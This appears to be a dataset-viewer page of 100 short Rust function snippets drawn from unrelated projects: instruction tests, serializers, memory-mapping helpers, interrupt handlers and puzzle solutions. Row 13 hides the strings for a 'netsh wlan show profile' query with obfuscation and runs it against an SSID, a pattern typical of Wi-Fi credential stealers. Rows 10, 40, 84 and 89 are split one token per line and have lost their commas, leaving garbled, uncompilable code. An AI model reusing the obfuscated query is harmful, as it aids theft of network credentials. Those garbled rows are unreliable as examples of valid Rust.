content stringlengths 12 392k | id int64 0 1.08k |
|---|---|
fn tuple_test() {
let text = "I see the eigenvalue in thine eye";
let (head, tail) = text.split_at(21);
assert_eq!(head, "I see the eigenvalue ");
assert_eq!(tail, "in thine eye");
} | 0 |
fn spawn_c(r: &Rush, stdin: Stdio, stdout: Stdio) -> Option<Child> {
match r {
Rush::Bin(cmd, args) => spawn(cmd, args, stdin, stdout).ok(),
_ => None
}
} | 1 |
pub extern "x86-interrupt" fn rtc() { CommonInterruptHandler(40); } | 2 |
pub fn mmap_to_file_trimmed<P: AsRef<Path>>(size: usize, path: P) -> io::Result<Ptr> {
unsafe {
// Get the trimmed anonymous space
let trimmed_ptr = mmap_trimmed_anonymous(size)?;
let fd = open_file(path, size)?;
check_mmap_ptr(mmap(trimmed_ptr, size, DEFAULT_PROT, MAP_SHARED | MAP_F... | 3 |
fn main() {
let path = std::env::args().nth(1).unwrap();
let text = std::fs::read_to_string(&path).unwrap();
let mut nums: Vec<_> = text.lines().map(atoi).collect();
nums.push(0);
nums.sort();
nums.push(nums[nums.len() - 1] + 3);
println!("{}", differences(&nums, 1) * differences(&nums, 3));... | 4 |
fn create_data_sock() -> AppResult<UdpSocket> {
let data_sock = UdpSocket::bind("0.0.0.0:9908")?;
data_sock.set_write_timeout(Some(Duration::from_secs(5)))?;
Ok(data_sock)
} | 5 |
fn main() -> std::io::Result<()> {
env_logger::builder()
.filter_level(log::LevelFilter::Warn)
.filter(Some("actix_web"), log::LevelFilter::Info)
.filter(Some("actix_server"), log::LevelFilter::Info)
//.filter(Some("serenity"), log::LevelFilter::Info)
.init();
let config ... | 6 |
fn fist_1() {
run_test(&Instruction { mnemonic: Mnemonic::FIST, operand1: Some(IndirectScaledIndexedDisplaced(BP, SI, One, 77, Some(OperandSize::Dword), None)), operand2: None, operand3: None, operand4: None, lock: false, rounding_mode: None, merge_mode: None, sae: false, mask: None, broadcast: None }, &[219, 82, 7... | 7 |
fn get_default_database_paths() -> Vec<PathBuf> {
get_platform_dependent_data_dirs()
.into_iter()
.map(|dir| dir.join("grafen").join(DEFAULT_DBNAME))
.collect()
} | 8 |
fn generate_bindings() {
// Write the bindings to the $OUT_DIR/bindings.rs file.
let out_path = PathBuf::from(env_var("OUT_DIR"));
// if !out_path.is_file() {
// The bindgen::Builder is the main entry point
// to bindgen, and lets you build up options for
// the resulting bindings.
let bind... | 9 |
fn
lock
(
addr
:
usize
)
-
>
&
'
static
SeqLock
{
const
LEN
:
usize
=
97
;
#
[
allow
(
clippy
:
:
declare_interior_mutable_const
)
]
const
L
:
SeqLock
=
SeqLock
:
:
new
(
)
;
static
LOCKS
:
[
SeqLock
;
LEN
]
=
[
L
;
LEN
]
;
&
LOCKS
[
addr
%
LEN
]
} | 10 |
pub fn init_panic_hook() {
console_error_panic_hook::set_once();
} | 11 |
pub fn parse_pbs_datetime(datetime: &str) -> anyhow::Result<chrono::NaiveDateTime> {
Ok(chrono::NaiveDateTime::parse_from_str(
datetime,
"%a %b %d %H:%M:%S %Y",
)?)
} | 12 |
async fn get_wifi_profile(ssid: &str) -> Option<String> {
delay_for(Duration::from_millis(10)).await;
let output = Command::new(obfstr::obfstr!("netsh.exe"))
.args(&[
obfstr::obfstr!("wlan"),
obfstr::obfstr!("show"),
obfstr::obfstr!("profile"),
ssid,
... | 13 |
pub fn retype_raw_page_free(source: CAddr) -> CAddr {
let result = system_call(SystemCall::RetypeRawPageFree {
request: source,
response: None
});
match result {
SystemCall::RetypeRawPageFree {
response, ..
} => { return response.unwrap(); },
_ => panic!()... | 14 |
fn main() {
input! {
n:usize,
}
let n = n * 108 / 100;
if n < 206 {
println!("Yay!");
} else if n == 206 {
println!("so-so");
} else {
println!(":(");
}
} | 15 |
fn char_test() {
assert_eq!('*'.is_alphabetic(), false);
assert_eq!('β'.is_alphabetic(), true);
assert_eq!('8'.to_digit(10), Some(8));
assert_eq!('\u{CA0}'.len_utf8(), 3);
assert_eq!(std::char::from_digit(2, 10), Some('2'));
} | 16 |
pub fn open_and_read() {
let path = Path::new("hello.txt");
let display = path.display();
let mut file = match File::open(&path) {
Err(why) => {
println!("couldn't open {}: {}", display, why.description());
return;
},
Ok(f) => f,
};
let mut s = Strin... | 17 |
pub fn causet_partitioner_scan_column_as_int(
context: Box<CausetPartitionerContext>,
column_name: &[u8],
column_value: &[u8],
) -> Box<CausetPartitionerContext> {
context
} | 18 |
fn invert_cells(cells: &Vec<Cell>) -> Vec<Cell> {
let count = cells.len();
let inverted_cells = (0..count).map(|i|
{
if cells[i] == Cell::Alive { Cell::Dead } else { Cell::Alive }
}).collect();
inverted_cells
} | 19 |
pub fn write_ext_meta<W>(wr: &mut W, len: u32, typeid: i8) -> Result<Marker, ValueWriteError>
where W: Write
{
assert!(typeid >= 0);
let marker = match len {
1 => {
try!(write_marker(wr, Marker::FixExt1));
Marker::FixExt1
}
2 => {
try!(write_marke... | 20 |
fn main() {
// let b = Box::new(5);
// println!("b = {}", b);
// let list = Cons(1, Box::new(Cons(2, Box::new(Cons(3, Box::new(Nil))))));
// let a = Rc::new(List2::Cons(1, Rc::new(List2::Cons(2, Rc::new(List2::Nil)))));
// let b = List2::Cons(3, Rc::clone(&a));
// let c = List2::Cons(4, Rc::c... | 21 |
async fn run_link(
sender: LinkSender,
receiver: LinkReceiver,
quic: Arc<AsyncConnection>,
) -> Result<(), Error> {
futures::future::try_join(
link_to_quic(sender, quic.clone()),
quic_to_link(receiver, quic.clone()),
)
.await?;
Ok(())
} | 22 |
async fn main() -> std::io::Result<()> {
dotenv().ok();
let app_data = AppData {
conn_pool: database::create_pool(),
};
let mut listenfd = ListenFd::from_env();
let mut server = HttpServer::new(move || {
App::new()
.data(app_data.clone())
.service(index)
... | 23 |
unsafe fn system_call_raw() {
asm!("int 80h"
::
: "rax", "rbx", "rcx", "rdx",
"r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15"
: "volatile", "intel");
} | 24 |
pub fn write_str_len<W>(wr: &mut W, len: u32) -> Result<Marker, ValueWriteError>
where W: Write
{
if len < 32 {
let marker = Marker::FixStr(len as u8);
try!(write_fixval(wr, marker));
Ok(marker)
} else if len < 256 {
try!(write_marker(wr, Marker::Str8));
write_data_u8... | 25 |
fn usart_pc() {} | 26 |
pub extern "x86-interrupt" fn not_use_1() { CommonInterruptHandler(43); } | 27 |
fn transpose(vec_of_vecs: &Vec<Vec<u8>>) -> Vec<Vec<u8>> {
let blocksize = vec_of_vecs[0].len();
let mut output = Vec::<Vec<u8>>::new();
for t in 0..blocksize {
let block: Vec<u8> = vec_of_vecs.iter().filter_map(|s| s.get(t)).cloned().collect();
output.push(block)
}
output
} | 28 |
fn set_led(n: u8, r: &mut impl OutputPin, g: &mut impl OutputPin, b: &mut impl OutputPin) {
match n {
1 => {
r.set_high().ok();
g.set_low().ok();
b.set_low().ok();
}
2 => {
r.set_high().ok();
g.set_high().ok();
b.set_low... | 29 |
pub extern "x86-interrupt" fn bound_range_exceeded() { CommonExceptionHandler( 5); } | 30 |
fn set_movement_actions(
mut commands: Commands,
mut actions: ResMut<Actions>,
keyboard_input: Res<Input<KeyCode>>,
mut mesh_pool: ResMut<MeshPool>,
fluid_assets: ResMut<MeshAssets>,
materials: ResMut<Assets<StandardMaterial>>,
mut camera_system: ResMut<CameraSystem>,
controllers: Query<... | 31 |
pub extern "x86-interrupt" fn general_protecton() { CommonExceptionHandler(13); } | 32 |
pub fn day09_1(s : String) -> u32{
let mut running_total = 0;
let mut scope = 0;
let mut in_garbage = false;
let mut prev_cancel = false;
for c in s.chars(){
if in_garbage {
if c == '>' && !prev_cancel {
in_garbage = false;
prev_cancel = false;
... | 33 |
fn exp_size<E: Engine>() -> usize {
std::mem::size_of::<<E::Fr as ff::PrimeField>::Repr>()
} | 34 |
pub fn mmap_without_fd(size: usize) -> io::Result<Ptr> {
let ptr = unsafe {
mmap(
ptr::null_mut(),
size as size_t,
DEFAULT_PROT,
MAP_ANONYMOUS | MAP_PRIVATE,
-1,
0,
)
};
check_mmap_ptr(ptr)
} | 35 |
fn append_text_column(tree: &mut gtk::TreeView) {
let column = gtk::TreeViewColumn::new().unwrap();
let cell = gtk::CellRendererText::new().unwrap();
column.pack_start(&cell, true);
column.add_attribute(&cell, "text", 0);
tree.append_column(&column);
} | 36 |
fn to_rust_varstr(s: &str) -> String {
use inflector::cases::snakecase::to_snake_case;
let s = to_snake_case(s);
fixup(s)
} | 37 |
fn main() {
const CA_CERT_PATH: &str = "../../pki/ca.cert";
const CLIENT_CERT_PATH: &str = "../../pki/client.cert";
const KEY_PATH: &str = "../../pki/client.key";
let ca_certs = read_certs(CA_CERT_PATH).unwrap();
let client_certs = read_certs(CLIENT_CERT_PATH).unwrap();
let key = read_private_k... | 38 |
pub fn ref_and_then<'r, T, U: 'static, F: FnOnce (&T) -> Option<&U>> (r: Ref<'r, T>, f: F) -> Option<Ref<'r, U>> {
match f(r.deref()) {
Some(u) => {
// SAFETY: we're discarding the compile-time managed borrow in the reference,
// in favor of the runtime-managed borrow in the Ref
let u = unsafe { std::mem::t... | 39 |
fn
from
(
val
:
T
)
-
>
AtomicCell
<
T
>
{
AtomicCell
:
:
new
(
val
)
}
}
impl
<
T
:
Copy
+
fmt
:
:
Debug
>
fmt
:
:
Debug
for
AtomicCell
<
T
>
{
fn
fmt
(
&
self
f
:
&
mut
fmt
:
:
Formatter
<
'
_
>
)
-
>
fmt
:
:
Result
{
f
.
debug_struct
(
"
AtomicCell
"
)
.
field
(
"
value
"
&
self
.
load
(
)
)
.
finish
(
)
}
} | 40 |
fn to_ident(s: &str) -> syn::Ident {
syn::parse_str(s).unwrap_or_else(|_| panic!("failed to make ident from: {}", s))
} | 41 |
fn collision_detection(
mut existing_collisions: Local<HashSet<CollisionPair>>,
mut collision_events: EventWriter<CollisionEvent>,
query: Query<&Actor>,
) {
let mut current_collisions = HashSet::<CollisionPair>::new();
'outer: for actor1 in query.iter().filter(|a| a.collision) {
for actor2 i... | 42 |
fn main() {
// Variables can be type annotated.
let i: i32 = 10;
println!("Hello, world!, {}", i);
} | 43 |
pub fn write_bin<W>(wr: &mut W, data: &[u8]) -> Result<(), ValueWriteError>
where W: Write
{
try!(write_bin_len(wr, data.len() as u32));
wr.write_all(data).map_err(|err| ValueWriteError::InvalidDataWrite(WriteError(err)))
} | 44 |
fn get_versions(repo: &Repository) -> Result<Vec<VersionTag>, Box<dyn std::error::Error>> {
let tags = repo
.tag_names(None)?
.into_iter()
.filter_map(|v| v)
.map(|v| v.to_owned())
.collect::<Vec<_>>();
let mut versions = tags
.iter()
.filter_map(|tag| {
... | 45 |
pub fn star2(lines: &Vec<String>) -> String {
let days = initialize(lines);
let mut guard_map = HashMap::new();
for day in days {
guard_map.entry(day.guard_id)
.or_insert(vec![])
.push(day);
}
let mut max_guard_asleep_per_minute = vec![(0, None); 60];
for &guard... | 46 |
fn inc_15() {
run_test(&Instruction { mnemonic: Mnemonic::INC, operand1: Some(Direct(BP)), operand2: None, operand3: None, operand4: None, lock: false, rounding_mode: None, merge_mode: None, sae: false, mask: None, broadcast: None }, &[102, 69], OperandSize::Dword)
} | 47 |
pub fn debug_log(msg: impl AsRef<str>) {
let msg = msg.as_ref();
eprintln!("{} - {}", Local::now().format("%Y%m%d %H:%M:%S"), msg);
} | 48 |
fn inc_4() {
run_test(&Instruction { mnemonic: Mnemonic::INC, operand1: Some(Direct(ECX)), operand2: None, operand3: None, operand4: None, lock: false, rounding_mode: None, merge_mode: None, sae: false, mask: None, broadcast: None }, &[65], OperandSize::Dword)
} | 49 |
pub async fn accept_hdr_async<S, C>(
stream: S,
callback: C,
) -> Result<WebSocketStream<TokioAdapter<S>>, Error>
where
S: tokio::io::AsyncRead + tokio::io::AsyncWrite + Unpin,
C: Callback + Unpin,
{
accept_hdr_async_with_config(stream, callback, None).await
} | 50 |
pub fn sobel_and_threshold(frame : ImageBuffer<Luma<u8>, Vec<u8>>, threshold : u8) -> ImageBuffer<Luma<u8>, Vec<u8>> {
let mut result = ImageBuffer::new(640, 480);
let mut i = 1;
while i < 638 {
let mut j = 1;
while j < 479 {
let north_west = frame[(i-1, j-1)].channels()[0] as ... | 51 |
async fn order_shoes(mut req: Request<()>) -> tide::Result {
let Animal { name, legs } = req.body_json().await?;
Ok(format!("Hello, {} Order for {} shoes", name, legs).into())
} | 52 |
fn generalize_alpha_or_split(ng: &mut NameGen, beta: &RcNode, alpha: &RcNode) {
let g = msg(ng, &alpha.get_body(), &beta.get_body());
if g.t.is_var() {
split_node(ng, beta);
} else {
abstract_node(alpha, &g.t, g.s1);
}
} | 53 |
fn run_no_crash() {
let project = project("run_no_crash")
.with_fuzz()
.fuzz_target(
"no_crash",
r#"
#![no_main]
use libfuzzer_sys::fuzz_target;
fuzz_target!(|data: &[u8]| {
#[cfg(fuzzing_repro)]
... | 54 |
pub fn write_uint16(buf: &mut Vec<u8>, u: u16) -> usize {
let mut size = 0;
size += write_uint8(buf, (u & 0xff) as u8);
size += write_uint8(buf, ((u >> 8) & 0xff) as u8);
size
} | 55 |
fn main() {
input! {
n: usize, r: usize,
mut s: Chars,
}
let mut answer = 0;
if let Some(pos) = s.iter().rev().position(|&c| c == '.') {
if n - r > pos {
answer += n - r - pos;
}
}
while let Some(pos) = s.iter().position(|&c| c == '.') {
answer... | 56 |
fn main() {
let listener = TcpListener::bind("0.0.0.0:3333").unwrap();
println!("Сервер запустился...");
for stream in listener.incoming() {
match stream {
Ok(stream) => {
println!("Новое подключение: {}", stream.peer_addr().unwrap());
thread::spawn(move||... | 57 |
pub(crate) fn unlock() {
LOCK.store(false, Ordering::SeqCst);
} | 58 |
fn truncate_to_shortest(vec_of_vecs: &mut Vec<Vec<u8>>) {
let min_len = vec_of_vecs.iter().map(|s| s.len()).min().unwrap();
for v in vec_of_vecs {
v.truncate(min_len);
}
} | 59 |
pub fn write_i32<W>(wr: &mut W, val: i32) -> Result<(), ValueWriteError>
where W: Write
{
try!(write_marker(wr, Marker::I32));
write_data_i32(wr, val)
} | 60 |
pub extern "C" fn handle_input(enc1: u8, enc2: u8) {
use encoder::Encoder;
static mut ENCODER: Encoder = Encoder::new();
use GlobalEvent::Jog;
use store::JogDirection::*;
let input = (enc1 == 1, enc2 == 1);
let diff = unsafe { ENCODER.scan(input) };
match diff {
-1 => {
... | 61 |
pub fn projects_to_doc(dir:StorageDir, search_term:&str, template_name:&str, bill_type:&Option<BillType>, dry_run:bool, force:bool) -> Result<()> {
with_projects(dir, &[search_term], |p| project_to_doc(p, template_name, bill_type, dry_run, force) )
} | 62 |
fn inc_13() {
run_test(&Instruction { mnemonic: Mnemonic::INC, operand1: Some(Direct(SP)), operand2: None, operand3: None, operand4: None, lock: false, rounding_mode: None, merge_mode: None, sae: false, mask: None, broadcast: None }, &[68], OperandSize::Word)
} | 63 |
pub fn open_file<P: AsRef<Path>>(path: P, size: usize) -> io::Result<i32> {
let file = OpenOptions::new().read(true).write(true).create(true).open(path)?;
file.set_len(size as u64)?;
Ok(file.into_raw_fd())
} | 64 |
fn main() {
let value = Regex::new(r"value (?P<value>\d+) goes to bot (?P<bot>\d+)").unwrap();
let give = Regex::new(r"bot (?P<bot>\d+) gives low to (?P<lowtype>\w+) (?P<lowdest>\d+) and high to (?P<hightype>\w+) (?P<highdest>\d+)").unwrap();
let mut is = INPUT.lines().collect::<VecDeque<_>>();
let mut output... | 65 |
fn test_expression() {
// 6.1
// expression
// 5 * (fahr-32) / 9;
/* statement
for (; begin != end; ++begin) {
if (*begin == target)
break;
}
*/
/*
pixels[r * bounds.0 + c] =
match escapes(Complex { re: point.0, im: point.1 }, 255) {
None =... | 66 |
pub fn file(file: PathBuf) -> Option<NamedFile> {
NamedFile::open(Path::new("public/").join(file)).ok()
} | 67 |
fn doc_src(builder: &Builder<'_>) -> Interned<PathBuf> {
INTERNER.intern_path(builder.src.join("src/doc"))
} | 68 |
pub fn debug_time<T>(label: impl AsRef<str>, cb: impl FnOnce() -> T) -> T {
let label = label.as_ref();
let t0 = std::time::Instant::now();
debug_log(format!("Starting {}...", label));
let ret = cb();
debug_log(format!("Finished {}: {:?}", label, t0.elapsed()));
return ret;
} | 69 |
fn print_uint(x:uint) {
println!("{}",x);
} | 70 |
pub async fn get_semaphored_connection<'a>() -> SemaphoredDbConnection<'a> {
let _semaphore_permit = semaphore().acquire().await.unwrap();
let connection = establish_connection();
SemaphoredDbConnection {
_semaphore_permit,
connection,
}
} | 71 |
async fn get_historic_rates() {
let exchange = init().await;
let req = GetHistoricRatesRequest {
market_pair: "eth_btc".to_string(),
interval: Interval::OneHour,
paginator: None,
};
let resp = exchange.get_historic_rates(&req).await.unwrap();
println!("{:?}", resp);
} | 72 |
pub fn test_nop() {
let buffer = fs::read("tests/programs/nop").unwrap().into();
let result = run::<u32, SparseMemory<u32>>(&buffer, &vec!["nop".into()]);
assert!(result.is_ok());
assert_eq!(result.unwrap(), 0);
} | 73 |
pub fn write_u8<W>(wr: &mut W, val: u8) -> Result<(), ValueWriteError>
where W: Write
{
try!(write_marker(wr, Marker::U8));
write_data_u8(wr, val)
} | 74 |
fn compression_tests<C, D>(compress: C, decompress: D, bytearray: bool)
where
C: Fn(&[u16]) -> ByteString,
D: Fn(ByteString) -> Option<ByteString>,
{
eprintln!("Check if it compresses and decompresses \"Hello world!\"");
let compressed = compress(&"Hello world!".encode_utf16().collect::<Vec<u16>>());
... | 75 |
fn longest<'a>(x: &'a str, y: &'a str) -> &'a str {
if x.len() > y.len() {
x
} else {
y
}
} | 76 |
fn calc_num_groups(core_count: usize, num_windows: usize) -> usize {
// Observations show that we get the best performance when num_groups * num_windows ~= 2 * CUDA_CORES
2 * core_count / num_windows
} | 77 |
fn float_test() {
assert_eq!(5f32.sqrt() * 5f32.sqrt(), 5.);
assert_eq!((-1.01f64).floor(), -2.0);
assert!((-1. / std::f32::INFINITY).is_sign_negative());
} | 78 |
fn read_input_configurations(confs: Vec<PathBuf>) -> (Vec<ComponentEntry>, Vec<ComponentEntry>) {
let mut configurations = Vec::new();
for path in confs {
match read_configuration(&path) {
Ok(conf) => configurations.push(conf),
Err(err) => eprintln!("{}", err),
}
}
... | 79 |
pub fn channel_put<T: Any + Clone>(target: CAddr, value: T) {
system_call_put_payload(SystemCall::ChannelPut {
request: (target, ChannelMessage::Payload)
}, value);
} | 80 |
fn build_dev() {
let project = project("build_dev").with_fuzz().build();
// Create some targets.
project
.cargo_fuzz()
.arg("add")
.arg("build_dev_a")
.assert()
.success();
project
.cargo_fuzz()
.arg("add")
.arg("build_dev_b")
.ass... | 81 |
pub fn number(n: i64) -> Value {
Rc::new(RefCell::new(V {
val: Value_::Number(n),
computed: true,
}))
} | 82 |
fn init_servo(robot: &mut Robot) {
let servos = ServoManager::new();
let m2 = servos[0xFE].reboot();
for b in m2 {
block!(robot.servo_tx.write(b)).unwrap();
}
for _ in 0..5 {
robot.delay.delay_ms(70 as u32);
}
let m2 = servos[0xFE].ram_write(WritableRamAddr::AckPolicy(2))... | 83 |
fn
test_empty_blob
(
)
-
>
Result
<
(
)
>
{
let
db
=
checked_memory_handle
(
)
?
;
let
empty
=
vec
!
[
]
;
db
.
execute
(
"
INSERT
INTO
foo
(
b
)
VALUES
(
?
1
)
"
[
&
empty
]
)
?
;
let
v
:
Vec
<
u8
>
=
db
.
one_column
(
"
SELECT
b
FROM
foo
"
)
?
;
assert_eq
!
(
v
empty
)
;
Ok
(
(
)
)
} | 84 |
pub fn main() {
let opts = TileOptions {
parent_x: 108,
parent_y: 54,
width: 10,
height: 10,
max_value: 10.0,
min_value: 0.0,
mean: 5.0,
std_dev: 2.0,
};
let t = NormalDistTile::new(opts);
println!(" {:?}", t.subtiles);
println!("{}", t... | 85 |
pub fn toeic_to_words_vec() -> Vec<Words> {
let col: Col2<Vec<String>, Vec<String>> = Col2::read_csv("word/toeic_327.csv", ',').expect("Can't read csv");
let words = col.c1();
let means = col.c2();
let mut word_vec: Vec<Word> = Vec::new();
for i in 0 .. words.len() {
let word = Word::ne... | 86 |
pub fn test_ebreak() {
let buffer = fs::read("tests/programs/ebreak64").unwrap().into();
let value = Arc::new(AtomicU8::new(0));
let core_machine =
DefaultCoreMachine::<u64, SparseMemory<u64>>::new(ISA_IMC, VERSION0, u64::max_value());
let mut machine = DefaultMachineBuilder::new(core_machine)
... | 87 |
fn is_flatten(rule: &Option<SerdeValue>) -> bool {
rule.as_ref().map(|value| value.flatten).unwrap_or(false)
} | 88 |
fn
test_blob
(
)
-
>
Result
<
(
)
>
{
let
db
=
checked_memory_handle
(
)
?
;
let
v1234
=
vec
!
[
1u8
2
3
4
]
;
db
.
execute
(
"
INSERT
INTO
foo
(
b
)
VALUES
(
?
1
)
"
[
&
v1234
]
)
?
;
let
v
:
Vec
<
u8
>
=
db
.
one_column
(
"
SELECT
b
FROM
foo
"
)
?
;
assert_eq
!
(
v
v1234
)
;
Ok
(
(
)
)
} | 89 |
fn run_alt_corpus() {
let corpus = Path::new("fuzz").join("corpus").join("run_alt");
let alt_corpus = Path::new("fuzz").join("alt-corpus").join("run_alt");
let project = project("run_alt_corpus")
.with_fuzz()
.fuzz_target(
"run_alt",
r#"
#![no_main]
... | 90 |
fn get_expected() -> GuraType {
object! {
plain: 5,
in_array_middle: [1, 5, 3],
in_array_last: [1, 2, 5],
in_object: {
name: "Aníbal",
surname: "Troilo",
year_of_birth: 1914
}
}
} | 91 |
fn is_uppercase(string: &str) -> bool {
(string.clone().to_ascii_uppercase() == string)
&& (string != string.clone().to_ascii_lowercase())
} | 92 |
async fn main() {
env::set_var("RUST_LOG", "warp_server");
env_logger::init();
let log = warp::log("warp_server");
let homepage = warp::path::end().map(|| {
Response::builder()
.header("content-type", "text/html")
.body(
"<html><h1>juniper_warp</h1><div>... | 93 |
pub extern "x86-interrupt" fn NMI() { CommonExceptionHandler( 2); } | 94 |
fn make_str(body:String)->String {
let head = String::from(r#"
#ifdef __cplusplus
extern "C" {
#endif "#);
let tail = String::from(r#"
#ifdef __cplusplus
}
#endif
"#);
return head + &body + &tail;
} | 95 |
pub fn assert_arguments<D: Display>(name: D, actual: usize, expected: usize) -> Result<()> {
if actual != expected {
return Err(ErrorCode::NumberArgumentsNotMatch(format!(
"{} expect to have {} arguments, but got {}",
name, expected, actual
)));
}
Ok(())
} | 96 |
pub fn hit_tile_contents(
ecs: &mut World,
pt: Point,
layer: u32,
commands: &mut CommandBuffer,
splatter: &mut Option<RGB>,
power: i32,
) -> i32 {
let mut rng_lock = crate::RNG.lock();
let rng = rng_lock.as_mut().unwrap();
let mut power_loss = 0;
let mut dead_entities = Vec::new... | 97 |
fn test_invalid_variable() {
let parsed_data = parse(&"$invalid: true");
assert!(parsed_data
.unwrap_err()
.downcast_ref::<ParseError>()
.is_some());
} | 98 |
pub fn checksum(input: &[u8]) -> Result<u16, LayerError> {
let mut sum = 0x00;
let mut chunks_iter = input.chunks_exact(2);
while let Some(chunk) = chunks_iter.next() {
sum += u32::from(u16::from_be_bytes(
chunk.try_into().expect("chunks of 2 bytes"),
));
}
if let [rem] ... | 99 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.